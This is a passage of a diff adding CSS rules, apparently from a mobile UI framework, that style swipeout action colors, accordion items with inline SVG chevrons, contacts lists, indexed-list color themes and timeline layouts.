.swipeout-actions-left > span.color-orange, +.md .swipeout-actions-right > span.color-orange, +.md .swipeout-actions-left > div.color-orange, +.md .swipeout-actions-right > div.color-orange { + background-color: #ff9800; +} +.md .swipeout-actions-left > a.color-gray, +.md .swipeout-actions-right > a.color-gray, +.md .swipeout-actions-left > button.color-gray, +.md .swipeout-actions-right > button.color-gray, +.md .swipeout-actions-left > span.color-gray, +.md .swipeout-actions-right > span.color-gray, +.md .swipeout-actions-left > div.color-gray, +.md .swipeout-actions-right > div.color-gray { + background-color: #9e9e9e; +} +.md .swipeout-actions-left > a.color-white, +.md .swipeout-actions-right > a.color-white, +.md .swipeout-actions-left > button.color-white, +.md .swipeout-actions-right > button.color-white, +.md .swipeout-actions-left > span.color-white, +.md .swipeout-actions-right > span.color-white, +.md .swipeout-actions-left > div.color-white, +.md .swipeout-actions-right > div.color-white { + background-color: #ffffff; +} +.md .swipeout-actions-left > a.color-black, +.md .swipeout-actions-right > a.color-black, +.md .swipeout-actions-left > button.color-black, +.md .swipeout-actions-right > button.color-black, +.md .swipeout-actions-left > span.color-black, +.md .swipeout-actions-right > span.color-black, +.md .swipeout-actions-left > div.color-black, +.md .swipeout-actions-right > div.color-black { + background-color: #000000; +} +/* === Accordion === */ +.accordion-item-toggle { + cursor: pointer; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state > .item-inner:after { + background-color: transparent; +} +.accordion-item-toggle .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.accordion-item-toggle .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .item-link .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .list, +.accordion-item .block { + margin-top: 0; + margin-bottom: 0; +} +.accordion-item .block > h1:first-child, +.accordion-item .block > h2:first-child, +.accordion-item .block > h3:first-child, +.accordion-item .block > h4:first-child, +.accordion-item .block > p:first-child { + margin-top: 10px; +} +.accordion-item .block > h1:last-child, +.accordion-item .block > h2:last-child, +.accordion-item .block > h3:last-child, +.accordion-item .block > h4:last-child, +.accordion-item .block > p:last-child { + margin-bottom: 10px; +} +.accordion-item-opened .accordion-item-toggle .item-inner:after, +.accordion-item-opened > .item-link .item-inner:after { + background-color: transparent; +} +.list li.accordion-item ul { + padding-left: 0; +} +.accordion-item-content { + position: relative; + overflow: hidden; + height: 0; + font-size: 14px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-opened > .accordion-item-content { + height: auto; +} +html.device-android-4 .accordion-item-content { + -webkit-transform: none; + transform: none; +} +.ios .list .accordion-item-toggle .item-inner { + background-size: 8px 13px; + background: no-repeat calc(100% - 15px) center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + padding-right: 35px; +} +.ios .list .accordion-item-toggle.active-state { + background-color: #d9d9d9; +} +.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.ios .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.ios .media-list .accordion-item-opened > .item-link .item-title-row, +.ios .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.ios .accordion-item-opened.media-item > .item-link .item-title-row, +.ios .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; +} +.ios .theme-dark .list .accordion-item-toggle .item-inner { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.ios .theme-dark .list .accordion-item-toggle.active-state { + background-color: #363636; +} +.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.ios .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.ios .theme-dark .media-list .accordion-item-opened > .item-link .item-title-row, +.ios .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.ios .theme-dark .accordion-item-opened.media-item > .item-link .item-title-row, +.ios .theme-dark .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .list .accordion-item-toggle .item-inner { + padding-right: 42px; + background: no-repeat calc(100% - 16px) center; +} +.md .list .accordion-item-toggle.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .list .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item:not(.media-item) > .item-link .item-inner, +.md .media-list .accordion-item .accordion-item-toggle .item-title-row, +.md .media-list .accordion-item > .item-link .item-title-row, +.md .accordion-item.media-item .accordion-item-toggle .item-title-row, +.md .accordion-item.media-item > .item-link .item-title-row, +.md .links-list .accordion-item > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; +} +.md .list .accordion-item-toggle.accordion-item-opened .item-inner, +.md .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.md .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.md .media-list .accordion-item-opened > .item-link .item-title-row, +.md .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.md .accordion-item-opened.media-item > .item-link .item-title-row, +.md .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .theme-dark .list .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) > .item-link .item-inner, +.md .theme-dark .media-list .accordion-item .accordion-item-toggle .item-title-row, +.md .theme-dark .media-list .accordion-item > .item-link .item-title-row, +.md .theme-dark .accordion-item.media-item .accordion-item-toggle .item-title-row, +.md .theme-dark .accordion-item.media-item > .item-link .item-title-row, +.md .theme-dark .links-list .accordion-item > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .theme-dark .list .accordion-item-toggle.accordion-item-opened .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.md .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.md .theme-dark .media-list .accordion-item-opened > .item-link .item-title-row, +.md .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.md .theme-dark .accordion-item-opened.media-item > .item-link .item-title-row, +.md .theme-dark .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +/* === Contacts === */ +.contacts-list .list-group:first-child ul:before { + display: none !important; +} +.contacts-list .list-group:last-child ul:after { + display: none !important; +} +.ios .contacts-list { + margin: 0; +} +.ios .contacts-list .list-group-title { + padding: 0 15px; + background: #f7f7f7; + color: #000; + font-weight: 600; + line-height: 22px; + height: 22px; +} +.ios .theme-dark .contacts-list .list-group-title, +.contacts-list.ios .theme-dark .list-group-title { + background-color: #111; + color: #fff; +} +.md .contacts-list { + margin: 0; +} +.md .contacts-list .list-group-title { + padding: 0 16px; + pointer-events: none; + background: none; + color: #2196f3; + font-weight: 500; + line-height: 48px; + height: 48px; + font-size: 20px; + overflow: visible; + width: 56px; +} +.md .contacts-list .list-group-title + li { + margin-top: -48px; +} +.md .contacts-list li:not(.list-group-title) { + padding-left: 56px; +} +.md .theme-dark .contacts-list .list-group-title { + color: #fff; +} +/* === Virtual List === */ +/* === Indexed List === */ +.list-index { + position: absolute; + top: 0; + bottom: 0; + right: 0; + text-align: center; + z-index: 10; + width: 16px; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.list-index:before { + content: ''; + position: absolute; + width: 20px; + top: 0; + right: 100%; + height: 100%; +} +.list-index ul { + font-size: 11px; + font-weight: 600; + list-style: none; + margin: 0; + padding: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + height: 100%; + width: 100%; + position: relative; +} +.list-index li { + margin: 0; + padding: 0; + list-style: none; + position: relative; + height: 14px; + line-height: 14px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: block; + width: 100%; +} +.list-index .list-index-skip-placeholder:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + border-radius: 50%; +} +.list-index .list-index-label { + position: absolute; + bottom: 0; + right: 100%; + text-align: center; + border-radius: 50%; + color: #fff; + font-weight: 500; +} +.ios .list-index ul { + color: #007aff; +} +.ios .list-index .list-index-skip-placeholder:after { + content: ''; + width: 6px; + height: 6px; + margin-left: -3px; + margin-top: -3px; + background: #007aff; +} +.ios .list-index .list-index-label { + margin-bottom: -22px; + margin-right: 15px; + width: 44px; + height: 44px; + line-height: 44px; + border-radius: 50%; + background: #007aff; + font-size: 17px; +} +.ios .list-index .list-index-label:before { + position: absolute; + width: 100%; + height: 100%; + border-radius: 50% 0% 50% 50%; + content: ''; + background-color: inherit; + left: 0; + top: 0; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); + z-index: -1; +} +.ios .navbar ~ .page > .list-index, +.ios .navbar ~ .list-index { + top: 44px; +} +.ios .toolbar ~ .page > .list-index, +.ios .toolbar ~ * .page > .list-index, +.ios .toolbar ~ .list-index { + bottom: 44px; +} +.ios .tabbar-labels ~ .page > .list-index, +.ios .tabbar-labels ~ * .page > .list-index, +.ios .tabbar-labels ~ .list-index { + bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ .page > .list-index, + .ios .tabbar-labels ~ * .page > .list-index, + .ios .tabbar-labels ~ .list-index { + bottom: 56px; + } +} +.ios.device-iphone-x .toolbar ~ .page > .list-index, +.ios.device-iphone-x .toolbar ~ * .page > .list-index, +.ios.device-iphone-x .toolbar ~ .list-index { + bottom: calc(44px + constant(safe-area-inset-bottom)); + bottom: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .tabbar-labels ~ .page > .list-index, +.ios.device-iphone-x .tabbar-labels ~ * .page > .list-index, +.ios.device-iphone-x .tabbar-labels ~ .list-index { + bottom: calc(50px + constant(safe-area-inset-bottom)); + bottom: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .tabbar-labels ~ .page > .list-index, + .ios.device-iphone-x .tabbar-labels ~ * .page > .list-index, + .ios.device-iphone-x .tabbar-labels ~ .list-index { + bottom: calc(56px + constant(safe-area-inset-bottom)); + bottom: calc(56px + env(safe-area-inset-bottom)); + } +} +.ios .color-theme-red .list-index ul, +.ios .list-index.color-theme-red ul { + color: #ff3b30; +} +.ios .color-theme-red .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-red .list-index-skip-placeholder:after, +.ios .color-theme-red .list-index .list-index-label, +.ios .list-index.color-theme-red .list-index-label { + background-color: #ff3b30; +} +.ios .color-theme-green .list-index ul, +.ios .list-index.color-theme-green ul { + color: #4cd964; +} +.ios .color-theme-green .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-green .list-index-skip-placeholder:after, +.ios .color-theme-green .list-index .list-index-label, +.ios .list-index.color-theme-green .list-index-label { + background-color: #4cd964; +} +.ios .color-theme-blue .list-index ul, +.ios .list-index.color-theme-blue ul { + color: #007aff; +} +.ios .color-theme-blue .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-blue .list-index-skip-placeholder:after, +.ios .color-theme-blue .list-index .list-index-label, +.ios .list-index.color-theme-blue .list-index-label { + background-color: #007aff; +} +.ios .color-theme-pink .list-index ul, +.ios .list-index.color-theme-pink ul { + color: #ff2d55; +} +.ios .color-theme-pink .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-pink .list-index-skip-placeholder:after, +.ios .color-theme-pink .list-index .list-index-label, +.ios .list-index.color-theme-pink .list-index-label { + background-color: #ff2d55; +} +.ios .color-theme-yellow .list-index ul, +.ios .list-index.color-theme-yellow ul { + color: #ffcc00; +} +.ios .color-theme-yellow .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-yellow .list-index-skip-placeholder:after, +.ios .color-theme-yellow .list-index .list-index-label, +.ios .list-index.color-theme-yellow .list-index-label { + background-color: #ffcc00; +} +.ios .color-theme-orange .list-index ul, +.ios .list-index.color-theme-orange ul { + color: #ff9500; +} +.ios .color-theme-orange .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-orange .list-index-skip-placeholder:after, +.ios .color-theme-orange .list-index .list-index-label, +.ios .list-index.color-theme-orange .list-index-label { + background-color: #ff9500; +} +.ios .color-theme-gray .list-index ul, +.ios .list-index.color-theme-gray ul { + color: #8e8e93; +} +.ios .color-theme-gray .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-gray .list-index-skip-placeholder:after, +.ios .color-theme-gray .list-index .list-index-label, +.ios .list-index.color-theme-gray .list-index-label { + background-color: #8e8e93; +} +.ios .color-theme-white .list-index ul, +.ios .list-index.color-theme-white ul { + color: #ffffff; +} +.ios .color-theme-white .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-white .list-index-skip-placeholder:after, +.ios .color-theme-white .list-index .list-index-label, +.ios .list-index.color-theme-white .list-index-label { + background-color: #ffffff; +} +.ios .color-theme-black .list-index ul, +.ios .list-index.color-theme-black ul { + color: #000000; +} +.ios .color-theme-black .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-black .list-index-skip-placeholder:after, +.ios .color-theme-black .list-index .list-index-label, +.ios .list-index.color-theme-black .list-index-label { + background-color: #000000; +} +.ios .list-index.color-red ul { + color: #ff3b30; +} +.ios .list-index.color-red .list-index-skip-placeholder:after, +.ios .list-index.color-red .list-index-label { + background-color: #ff3b30; +} +.ios .list-index.color-green ul { + color: #4cd964; +} +.ios .list-index.color-green .list-index-skip-placeholder:after, +.ios .list-index.color-green .list-index-label { + background-color: #4cd964; +} +.ios .list-index.color-blue ul { + color: #007aff; +} +.ios .list-index.color-blue .list-index-skip-placeholder:after, +.ios .list-index.color-blue .list-index-label { + background-color: #007aff; +} +.ios .list-index.color-pink ul { + color: #ff2d55; +} +.ios .list-index.color-pink .list-index-skip-placeholder:after, +.ios .list-index.color-pink .list-index-label { + background-color: #ff2d55; +} +.ios .list-index.color-yellow ul { + color: #ffcc00; +} +.ios .list-index.color-yellow .list-index-skip-placeholder:after, +.ios .list-index.color-yellow .list-index-label { + background-color: #ffcc00; +} +.ios .list-index.color-orange ul { + color: #ff9500; +} +.ios .list-index.color-orange .list-index-skip-placeholder:after, +.ios .list-index.color-orange .list-index-label { + background-color: #ff9500; +} +.ios .list-index.color-gray ul { + color: #8e8e93; +} +.ios .list-index.color-gray .list-index-skip-placeholder:after, +.ios .list-index.color-gray .list-index-label { + background-color: #8e8e93; +} +.ios .list-index.color-white ul { + color: #ffffff; +} +.ios .list-index.color-white .list-index-skip-placeholder:after, +.ios .list-index.color-white .list-index-label { + background-color: #ffffff; +} +.ios .list-index.color-black ul { + color: #000000; +} +.ios .list-index.color-black .list-index-skip-placeholder:after, +.ios .list-index.color-black .list-index-label { + background-color: #000000; +} +.md .list-index ul { + color: #2196f3; +} +.md .list-index .list-index-skip-placeholder:after { + content: ''; + width: 4px; + height: 4px; + margin-left: -2px; + margin-top: -2px; + background: #2196f3; +} +.md .list-index .list-index-label { + width: 56px; + height: 56px; + line-height: 56px; + border-radius: 50% 50% 0 50%; + background: #2196f3; + font-size: 20px; +} +.md .navbar ~ .list-index { + top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ .list-index { + top: 64px; + } +} +.md .navbar ~ .toolbar:not(.toolbar-bottom-md) ~ .list-index, +.md .navbar ~ .subnavbar ~ .list-index, +.md .page-with-subnavbar .navbar ~ .list-index { + top: 104px; +} +.md .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .list-index { + top: 128px; +} +.md .toolbar-bottom-md ~ .page > .list-index, +.md .toolbar-bottom-md ~ * .page > .list-index, +.md .toolbar-bottom-md ~ * .page > .list-index { + bottom: 48px; +} +.md .tabbar-labels.toolbar-bottom-md ~ .page > .list-index, +.md .tabbar-labels.toolbar-bottom-md ~ * .page > .list-index, +.md .tabbar-labels.toolbar-bottom-md ~ .list-index { + bottom: 56px; +} +.md.device-iphone-x .toolbar-bottom-md ~ .page > .list-index, +.md.device-iphone-x .toolbar-bottom-md ~ * .page > .list-index, +.md.device-iphone-x .toolbar-bottom-md ~ * .page > .list-index { + bottom: calc(48px + constant(safe-area-inset-bottom)); + bottom: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ .page > .list-index, +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ * .page > .list-index, +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ .list-index { + bottom: calc(56px + constant(safe-area-inset-bottom)); + bottom: calc(56px + env(safe-area-inset-bottom)); +} +.md .color-theme-red .list-index ul, +.md .list-index.color-theme-red ul { + color: #f44336; +} +.md .color-theme-red .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-red .list-index-skip-placeholder:after, +.md .color-theme-red .list-index .list-index-label, +.md .list-index.color-theme-red .list-index-label { + background-color: #f44336; +} +.md .color-theme-green .list-index ul, +.md .list-index.color-theme-green ul { + color: #4caf50; +} +.md .color-theme-green .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-green .list-index-skip-placeholder:after, +.md .color-theme-green .list-index .list-index-label, +.md .list-index.color-theme-green .list-index-label { + background-color: #4caf50; +} +.md .color-theme-blue .list-index ul, +.md .list-index.color-theme-blue ul { + color: #2196f3; +} +.md .color-theme-blue .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-blue .list-index-skip-placeholder:after, +.md .color-theme-blue .list-index .list-index-label, +.md .list-index.color-theme-blue .list-index-label { + background-color: #2196f3; +} +.md .color-theme-pink .list-index ul, +.md .list-index.color-theme-pink ul { + color: #e91e63; +} +.md .color-theme-pink .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-pink .list-index-skip-placeholder:after, +.md .color-theme-pink .list-index .list-index-label, +.md .list-index.color-theme-pink .list-index-label { + background-color: #e91e63; +} +.md .color-theme-yellow .list-index ul, +.md .list-index.color-theme-yellow ul { + color: #ffeb3b; +} +.md .color-theme-yellow .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-yellow .list-index-skip-placeholder:after, +.md .color-theme-yellow .list-index .list-index-label, +.md .list-index.color-theme-yellow .list-index-label { + background-color: #ffeb3b; +} +.md .color-theme-orange .list-index ul, +.md .list-index.color-theme-orange ul { + color: #ff9800; +} +.md .color-theme-orange .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-orange .list-index-skip-placeholder:after, +.md .color-theme-orange .list-index .list-index-label, +.md .list-index.color-theme-orange .list-index-label { + background-color: #ff9800; +} +.md .color-theme-gray .list-index ul, +.md .list-index.color-theme-gray ul { + color: #9e9e9e; +} +.md .color-theme-gray .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-gray .list-index-skip-placeholder:after, +.md .color-theme-gray .list-index .list-index-label, +.md .list-index.color-theme-gray .list-index-label { + background-color: #9e9e9e; +} +.md .color-theme-white .list-index ul, +.md .list-index.color-theme-white ul { + color: #ffffff; +} +.md .color-theme-white .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-white .list-index-skip-placeholder:after, +.md .color-theme-white .list-index .list-index-label, +.md .list-index.color-theme-white .list-index-label { + background-color: #ffffff; +} +.md .color-theme-black .list-index ul, +.md .list-index.color-theme-black ul { + color: #000000; +} +.md .color-theme-black .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-black .list-index-skip-placeholder:after, +.md .color-theme-black .list-index .list-index-label, +.md .list-index.color-theme-black .list-index-label { + background-color: #000000; +} +.md .list-index.color-red ul { + color: #f44336; +} +.md .list-index.color-red .list-index-skip-placeholder:after, +.md .list-index.color-red .list-index-label { + background-color: #f44336; +} +.md .list-index.color-green ul { + color: #4caf50; +} +.md .list-index.color-green .list-index-skip-placeholder:after, +.md .list-index.color-green .list-index-label { + background-color: #4caf50; +} +.md .list-index.color-blue ul { + color: #2196f3; +} +.md .list-index.color-blue .list-index-skip-placeholder:after, +.md .list-index.color-blue .list-index-label { + background-color: #2196f3; +} +.md .list-index.color-pink ul { + color: #e91e63; +} +.md .list-index.color-pink .list-index-skip-placeholder:after, +.md .list-index.color-pink .list-index-label { + background-color: #e91e63; +} +.md .list-index.color-yellow ul { + color: #ffeb3b; +} +.md .list-index.color-yellow .list-index-skip-placeholder:after, +.md .list-index.color-yellow .list-index-label { + background-color: #ffeb3b; +} +.md .list-index.color-orange ul { + color: #ff9800; +} +.md .list-index.color-orange .list-index-skip-placeholder:after, +.md .list-index.color-orange .list-index-label { + background-color: #ff9800; +} +.md .list-index.color-gray ul { + color: #9e9e9e; +} +.md .list-index.color-gray .list-index-skip-placeholder:after, +.md .list-index.color-gray .list-index-label { + background-color: #9e9e9e; +} +.md .list-index.color-white ul { + color: #ffffff; +} +.md .list-index.color-white .list-index-skip-placeholder:after, +.md .list-index.color-white .list-index-label { + background-color: #ffffff; +} +.md .list-index.color-black ul { + color: #000000; +} +.md .list-index.color-black .list-index-skip-placeholder:after, +.md .list-index.color-black .list-index-label { + background-color: #000000; +} +/* === Timeline === */ +.timeline { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.block-strong .timeline { + padding: 0; + margin: 0; +} +.timeline-item { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.timeline-item-date { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 50px; + text-align: right; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-date small { + font-size: 10px; +} +.timeline-item-content { + margin: 2px; + min-width: 0; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.timeline-item-content p:first-child, +.timeline-item-content ul:first-child, +.timeline-item-content ol:first-child, +.timeline-item-content h1:first-child, +.timeline-item-content h2:first-child, +.timeline-item-content h3:first-child, +.timeline-item-content h4:first-child { + margin-top: 0; +} +.timeline-item-content p:last-child, +.timeline-item-content ul:last-child, +.timeline-item-content ol:last-child, +.timeline-item-content h1:last-child, +.timeline-item-content h2:last-child, +.timeline-item-content h3:last-child, +.timeline-item-content h4:last-child { + margin-bottom: 0; +} +.timeline-item-inner { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-inner .block { + padding: 0; + color: inherit; +} +.timeline-item-inner .block-strong { + padding-left: 0; + padding-right: 0; + margin: 0; +} +.timeline-item-inner .block-strong:before { + display: none !important; +} +.timeline-item-inner .block-strong:after { + display: none !important; +} +.timeline-item-inner .list ul:before { + display: none !important; +} +.timeline-item-inner .list ul:after { + display: none !important; +} +.timeline-item-divider { + width: 1px; + position: relative; + width: 10px; + height: 10px; + background: #bbb; + border-radius: 50%; + margin-top: 3px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.timeline-item-divider:after, +.timeline-item-divider:before { + content: ' '; + width: 1px; + height: 100vh; + position: absolute; + left: 50%; + background: inherit; + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); +} +.timeline-item-divider:after { + top: 100%; +} +.timeline-item-divider:before { + bottom: 100%; +} +.timeline-item:last-child .timeline-item-divider:after { + display: none; +} +.timeline-item:first-child .timeline-item-divider:before { + display: none; +} +.timeline-item-time { + font-size: 13px; +} +.timeline-item-time:first-child, +.timeline-item-time:last-child { + margin-top: 0; +} +.timeline-item-title + .timeline-item-time { + margin-top: 0; +} +.timeline-horizontal { + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.timeline-horizontal .timeline-item { + display: block; + width: 33.33333333vw; + margin: 0; + padding: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + position: relative; + height: 100%; +} +.timeline-horizontal .timeline-item-date { + width: auto; + line-height: 34px; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 34px; + text-align: left; +} +.timeline-horizontal .timeline-item-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + margin: 0; +} +.timeline-horizontal .timeline-item-divider { + display: none; +} +.timeline-horizontal.col-100 .timeline-item { + width: 100vw; +} +.timeline-horizontal.col-95 .timeline-item { + width: 95vw; +} +.timeline-horizontal.col-90 .timeline-item { + width: 90vw; +} +.timeline-horizontal.col-85 .timeline-item { + width: 85vw; +} +.timeline-horizontal.col-80 .timeline-item { + width: 80vw; +} +.timeline-horizontal.col-75 .timeline-item { + width: 75vw; +} +.timeline-horizontal.col-70 .timeline-item { + width: 70vw; +} +.timeline-horizontal.col-66 .timeline-item { + width: 66.66666666666666vw; +} +.timeline-horizontal.col-65 .timeline-item { + width: 65vw; +} +.timeline-horizontal.col-60 .timeline-item { + width: 60vw; +} +.timeline-horizontal.col-55 .timeline-item { + width: 55vw; +} +.timeline-horizontal.col-50 .timeline-item { + width: 50vw; +} 